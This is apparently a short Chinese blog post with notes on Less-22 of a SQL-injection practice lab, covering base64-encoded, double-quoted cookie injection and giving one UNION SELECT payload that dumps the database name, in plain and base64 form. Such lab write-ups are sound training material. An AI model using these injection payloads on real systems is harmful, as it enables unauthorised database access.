Less(22)Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

1.base64编码,双引号,报错型,cookie型注入

  (1)和Less(21)一样,只需要使用双引号再去掉括号

2.爆破

  (1)爆库:-admin" union select 1,2,database() #

        LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

    

 

    其他的参考Less(21)

posted @ 2020-02-14 10:57  孟雨  阅读(164)  评论(0编辑  收藏  举报